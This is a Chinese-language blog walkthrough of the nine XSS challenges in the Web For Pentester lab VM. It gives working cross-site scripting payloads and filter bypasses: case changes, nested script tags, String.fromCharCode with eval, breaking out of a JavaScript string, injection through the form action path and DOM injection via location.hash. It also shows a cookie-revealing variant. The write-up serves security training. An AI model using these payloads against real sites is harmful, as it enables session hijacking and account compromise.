Pentester中的XSS详解
本次做的是Web For Pentester靶机里面的XSS题目,一共有9道题目。
关于靶机搭建参考这篇文章:渗透测试靶机的搭建
第1题(无过滤措施)
首先在后面输入xss:
http://10.211.55.16/xss/example1.php?name=xss
看到如下页面:
然后查看下源码:
感觉这里没有任何的防御措施,忍不住笑出了声。
有很多的标签里面都可以调用HTML的事件属性来弹窗,为了节约时间,下面我就列举出一些比较常用的手法。
利用基本的script标签来弹窗
Payload
<script>alert('xss')</script>
定义和用法
script 标签用于定义客户端脚本,比如 JavaScript。
效果图
利用iframe标签的的src属性来弹窗
Payload
<iframe src=javascript:alert('xss')></iframe>
定义和用法
iframe 元素会创建包含另外一个文档的内联框架(即行内框架)。
效果图
利用标签的href属性来弹窗
Payload
<a href=javascript:alert('xss')>ggtest</a>
这里就是超链接到了:javascript:alert('xss')
效果和浏览器直接打开这个地址:javascript:alert('xss')
是一样的
这里还可以使用:javascript:alert(document.cookie)
来弹出当前会话的cookie
定义和用法
标签定义超链接,用于从一张页面链接到另一张页面。
元素最重要的属性是 href 属性,它指示链接的目标。
指向国光博客的一个例子:
<a href="http://git.sqlsec.com”>国光博客</a>
效果图
利用标签来弹窗
Payload
<img src=1 onerror=alert('xss')>
这里的src后面是填写的 是 图片的地址
,为了 测试简便 这个地址里面我们一般随便填写,比如这里我们填写的就是 1
,因为1
不是一个正确的值,所以 触发了后面的 onerror
事件(遇到错误 就触发)
当然如果在src里面填写一个正常的URL的话,就不会弹窗的了,因为onerror的触发条件是得报错。
当src
后面的值是正确的时候呢,这个还可以用 oneclick
事件来触发弹窗
<img src=http://www.sqlsec.com/favicon.ico onclick=alert('xss')>
这里不论src后面的值 是否正确,只要鼠标点击,就会触发 弹窗事件。
类似onerror和onclick的时间有很多种下面
列举出常见的事件
Windows事件属性
事件 | 作用 |
---|---|
onerror | 在错误发生时运行的脚本 |
onload | 页面结束加载之后触发 |
Keyboard 事件
事件 | 作用 |
---|---|
onkeydown | 在用户按下按键时触发 |
onkeypress | 在用户敲击按钮时触发 |
onkeyup | 当用户释放按键时触发 |
鼠标(Mouse)事件
事件 | 作用 |
---|---|
onclick | 元素上发生鼠标点击时触发 |
onmousedown | 当元素上按下鼠标按钮时触发 |
onmousemove | 当鼠标指针移动到元素上时触发。 |
onmouseover | 当鼠标指针移动到元素上时触 |
onmouseout | 当鼠标指针移出元素时触发 |
onmouseup | 当在元素上释放鼠标按钮时触发 |
定义和用法
img 元素向网页中嵌入一幅图像。
请注意,从技术上讲, 标签并不会在网页中插入图像,而是从网页上链接图像。 标签创建的是被引用图像的占位空间。
标签有两个必需的属性:src 属性 和 alt 属性
凡是支持事件的HTML标签都是可以弹窗的,在HTML中支持事件属性的标签很多,下面我就
列举出一些支持事件的HTML常见标签
标签 | 作用 |
---|---|
a | 定义超链接,用于从一张页面链接到另一张页面,最重要的属性是 href 属性,它指示链接的目标 |
article | 规定独立的自包含内容一篇文章应有其自身的意义,应该有可能独立于站点的其余部分对其进行分发 |
audio | 定义声音,比如音乐或其他音频流 |
b | 规定粗体文本 |
body | 定义文档的主体,包含文档的所有内容 |
br | 只是简单地开始新的一行 |
button | 定义一个按钮 |
iframe | 会创建包含另外一个文档的内联框架 |
img | 向网页中嵌入一幅图像 |
select | 可创建单选或多选菜单 |
style | 用于为 HTML 文档定义样式信息 |
textarea | 标签定义多行的文本输入控件 |
video | 定义视频,比如电影片段或其他视频流 |
第一题因为没有任何的过滤,所以理论上支持调用HTML事件属性的标签都是可以成功弹窗的,下面来个
综合点的payload
http://10.211.55.16/xss/example1.php?name=<button type="button" onclick=alert('xss')>通过按钮点击触发xss</button> <font size="4" color="blue" onmouseover=alert('xss')> 移动到元素触发xss </font> <br>
<select> <option onclick=alert('x')>onclick点击触发事件</option> <option values=1 onmousedown=alert('ss')>onmousedown触发</option></select> <a href=javascript:alert('xss')>利用a标签的href属性触发</a> <br>
<textarea placeholder=国光的xss测试:键盘按键触发xss onkeypress=alert('xss')></textarea>
第2题(大小写转换)
这一题的话, 除了<script>alert('xss')</script>
这个payload,其他用第一题中的其他payload:
<iframe src=javascript:alert('xss')></iframe>
<a href=javascript:alert('xss')>ggtest</a>
<img src=1 onerror=alert('xss')>
...
依然还是可以的,好吧,为了不这么容易做完这道题目,我们来下面的题目都尽量使用<script>alert('xss')</script>
来试试看
查看下源码:
这里我们猜测过滤<script>
和</script>
然后这里尝试下大小写转换,尝试着绕过过滤:
<Script>alert('xss')</scripT>
可以看到成功绕过了:
第3题(嵌套构造)
直接输入
<Script>alert('xss')</scripT>
发现大小写转换的这个套路已经不能够使用了
得到结论是:没有过滤alert('xss'),现在就把注意力集中在 <script>
和</script>
上
Fuzz测试一下,看看具体过滤了哪些字符?然后再想办法绕过。
http://10.211.55.16/xss/example3.php?name=<></>script<script>
可以看出过滤了:</script>
和<script>
尝试构造输入:
http://10.211.55.16/xss/example3.php?name=<sc<script>ript>
查看源码后发现成功构造出
<script>
于是判断这里只顾虑了一次,接着尝试构造如下完整的payload:
http://10.211.55.16/xss/example3.php?name=<sc<script>ript>alert('xss')</s</script>cript>
第4题(利用标签绕过)
直接输入:<script>alert('xss')</script>
发现直接 error
了
于是再次出尝试输入:
http://10.211.55.16/xss/example4.php?name=<>alert('xss')</>
再次得出结论:没有过滤<>
</>
alerrt('xss')
,现在主要想办法对script
做个处理来绕过过滤。
然而我各种编码都没有绕过,有的编码的确是绕过了,但是貌似没有解析脚本 =,=
哎~~~放弃用这种形式的<script>alert('xss')</script>
的payload了,于是乎使用下面的<img>标签
成功绕过:
<img src=1 onerror=alert('xss')>
第5题(String.fromCharCode编码绕过)
首先执行:
<script>alert('xss')</script>
发现直接就 报 error了,于是fuzz测试发现并没有过滤:<script>
和</script>
只是过滤了:alert
利用火狐浏览器的hackbar
插件对alert('xss')
进行String.fromCharCode
转换:
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59))</script>
第6题(闭合标签)
首先默认查看下源码:
发现我们输出的hacker
作为了一个变量赋值给了a,并且这个变量在<script>
这个标签中
这样的话,只要能够突破这个赋值的变量,就可以利用这个<script>
这个标签来弹窗了。
下面想办法闭合进行fuzz测试......
这里边看源码边做调整。几次测试后得到如下可以弹窗的payload:
11";</script><img src=1 onerror=alert('xss')><script>
来查看下源码来简单的分析一下:
Hello
<script>
var $a= "11";</script><img src=1 onerror=alert('xss')><script>";
</script>
<footer>
<p>© PentesterLab 2013</p>
</footer>
pauyload最前面的
11";</script>
闭合了前面的<script>
标签
最后面的
<script>
闭合了后面的<script>
标签
中间的
<img src=1 onerror=alert('xss')>
用来触发 弹窗事件
第7题
首先来查看下源码:
感觉貌似和第6题差不多,于是稍微修改了下使用下面的payload来进行测试:
hacker';</script><img src=1 onerror=alert('xss')><script>
结果并没有弹窗,赶紧查看下源码压压惊:
可以看到对输入的 <
和/
和>
符号进行转义了,导致我们的弹窗失败。
所以现在的着重点就是 如何处理这些符号:
<
和/
和>
然而我失败了,对这些符号进行转码也是失败了,后来想了好久终于知道问题所在了:
受到以前闭合一句话木马的缘故,我老是想着闭合首尾的标签
后来仔细想想,这个变量 就在<script>
里面,可以在里面直接写alert('xss')来弹窗的,这样也就不需要使用
<
和/
和>
特殊符号了。这么看来的话,第6题 也应该这么来做,奇葩的我,居然是闭合的方式来弹窗的....
http://10.211.55.16/xss/example6.php?name=name=";alert('xss');var b="
查看下源码:
Hello
<script>
var $a= "name=";alert('xss');var b="";
</script>
<footer>
<p>© PentesterLab 2013</p>
</footer>
这里 巧妙的利用了 ;
来在<script>
标签里面执行alert('xss')
第8题
是一个输入框,然后输入payload:<img src=1 onerror=alert('xss')>
;来试试看,查看源码:
HELLO <img src=1 onerror=alert('xss')><form action="/xss/example8.php" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
<footer>
<p>© PentesterLab 2013</p>
</footer>
发现也是对 <
>
标签进行转义了,这里进行各种编码也没有绕过。
又是好久也没有成功突破,最后仔细看源码,发现突破点在于
<form action="/xss/example8.php"
这是第8题的URL,于是注意力转移到URL处,尝试在URL后面添加
http://10.211.55.16/xss/example8.php/
查看源码:
发现我们最后添加的 :/
写在了<form>
这个标签中,于是在这里进行fuzz测试,尝试闭合标签,最后构造的payload如下:
http://10.211.55.16/xss/example8.php/"><img src=1 onerror=alert('xss')><form
来查看下源码来分析刚刚构造的payload:
<form action="/xss/example8.php/"><img src=1 onerror=alert('xss')><form" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
可以看到这里
/"
闭合了最前面的<form>
<form>
闭合了最后面的/>
中间的
<img src=1 onerror=alert('xss')>
触发了弹窗事件
第9题
这一题很特殊,不愧是大boss,这里首先查看下源码:
在源码中完全找不到hacker
的任何字样,于是仔细百度最可疑的地方:
<script>
document.write(location.hash.substring(1));
</script>
找到一份资料:http://www.runoob.com/jsref/prop-loc-hash.html
这里可以大概看出这里是读取#
后面的东西,于是乎简单的在#
后面构造xss语句:
http://10.211.55.16/xss/example9.php#<img src=http://www.sqlsec.com/favicon.ico onclick=alert('Bingo')>
最后一道题目了,得录制个gif来庆祝一下:
小结
虽然这个平台只有9道题目,但是用心去整理拓展,发现可以学到很多xss的姿势,这样又把以前快忘记的xss姿势巩固提高了一下,更好的为不久后挖BAT的XSS漏洞做好基础知识的准备。
Pentester中的XSS详解的更多相关文章
- Asp.net中GridView使用详解(很全,很经典 转来的)
Asp.net中GridView使用详解 效果图参考:http://hi.baidu.com/hello%5Fworld%5Fws/album/asp%2Enet中以gv开头的图片 l ...
- Asp.net中GridView使用详解(引)【转】
Asp.net中GridView使用详解(引) GridView无代码分页排序 GridView选中,编辑,取消,删除 GridView正反双向排序 GridView和下拉菜单DropDownList ...
- Asp.net中GridView使用详解(很全,很经典)
http://blog.csdn.net/hello_world_wusu/article/details/4052844 Asp.net中GridView使用详解 效果图参考:http://hi.b ...
- php中关于引用(&)详解
php中关于引用(&)详解 php的引用(就是在变量或者函数.对象等前面加上&符号) 在PHP 中引用的意思是:不同的变量名访问同一个变量内容. 与C语言中的指针是有差别的.C语言中的 ...
- JavaScript正则表达式详解(二)JavaScript中正则表达式函数详解
二.JavaScript中正则表达式函数详解(exec, test, match, replace, search, split) 1.使用正则表达式的方法去匹配查找字符串 1.1. exec方法详解 ...
- AngularJS select中ngOptions用法详解
AngularJS select中ngOptions用法详解 一.用法 ngOption针对不同类型的数据源有不同的用法,主要体现在数组和对象上. 数组: label for value in a ...
- 【转载】C/C++中extern关键字详解
1 基本解释:extern可以置于变量或者函数前,以标示变量或者函数的定义在别的文件中,提示编译器遇到此变量和函数时在其他模块中寻找其定义.此外extern也可用来进行链接指定. 也就是说extern ...
- oracle中imp命令详解 .
转自http://www.cnblogs.com/songdavid/articles/2435439.html oracle中imp命令详解 Oracle的导入实用程序(Import utility ...
- Android中Service(服务)详解
http://blog.csdn.net/ryantang03/article/details/7770939 Android中Service(服务)详解 标签: serviceandroidappl ...
随机推荐
- 总结界面框架_UI_Adapter
本人定期更新经典案例及解决方案如有疑问请联系我QQ1822282728 -- 277627117 下面是常用到的ui Demo 安卓三级筛选菜单listview(非常经典) http://dow ...
- 获取Asset下文本内容和读取图片
import android.content.Context; import android.content.res.AssetManager; import android.graphics.Bit ...
- hdu4123(树形dp+单调队列)
还没有学过RMQ,所以只能用会的单调队列做. Bob’s Race Time Limit: 5000/2000 MS (Java/Others) Memory Limit: 32768/3276 ...
- 如何使用iOS 开发证书 和 Profile 文件
如果你想在 iOS 设备(iPhone/iPad/iTouch)上调试, 需要有 iOS 开发证书和 Profile 文件. 在你拿到这两个文件之后,该如何使用呢? 证书使用说明: 1. iOS 开 ...
- Map中存放数组
Map<String,Object> map = new HashMap<String, Object>(); Map<String,String> agentMa ...
- deviceready has not fired after 5 seconds
deviceready has not fired after 5 seconds 建议用手机连上电脑,用真机进行调试:
- [Domino]从嵌入另一个数据库嵌入的Embedded View无法正常显示,提示unable to lauch
发现问题 1. 项目中需要在一个数据库中插入另一个数据库的Embedded View,使用起来十分费劲,在选择数据库的下拉菜单中经常会找不到目标数据库: 2. 在做日文版的时候,从workbench导 ...
- 160608、mysql距离函数st_distance
随着近几年各类移动终端的迅速普及,在手机移动定位app中,附近的人,附近的地点功能十分常见,基于地理位置的服务(LBS)和相关应用也越来越多,而支撑这些应用的最基础技术之一,就是基于地理位置信息的处理 ...
- Javascript-可定义位数的十进制转二进制
// 十进制转二进制 function binary (num, Bits) { var d = parseInt(num / 2) var resArry = [num % 2] for(; d ! ...
- 启动windows服务的bat文件编写格式
1.bat文件需要和bin文件内容放在一起 启动服务的bat文件如下: sc create 邮件服务 binPath= "%~dp0可执行文件名称.exe" start= auto ...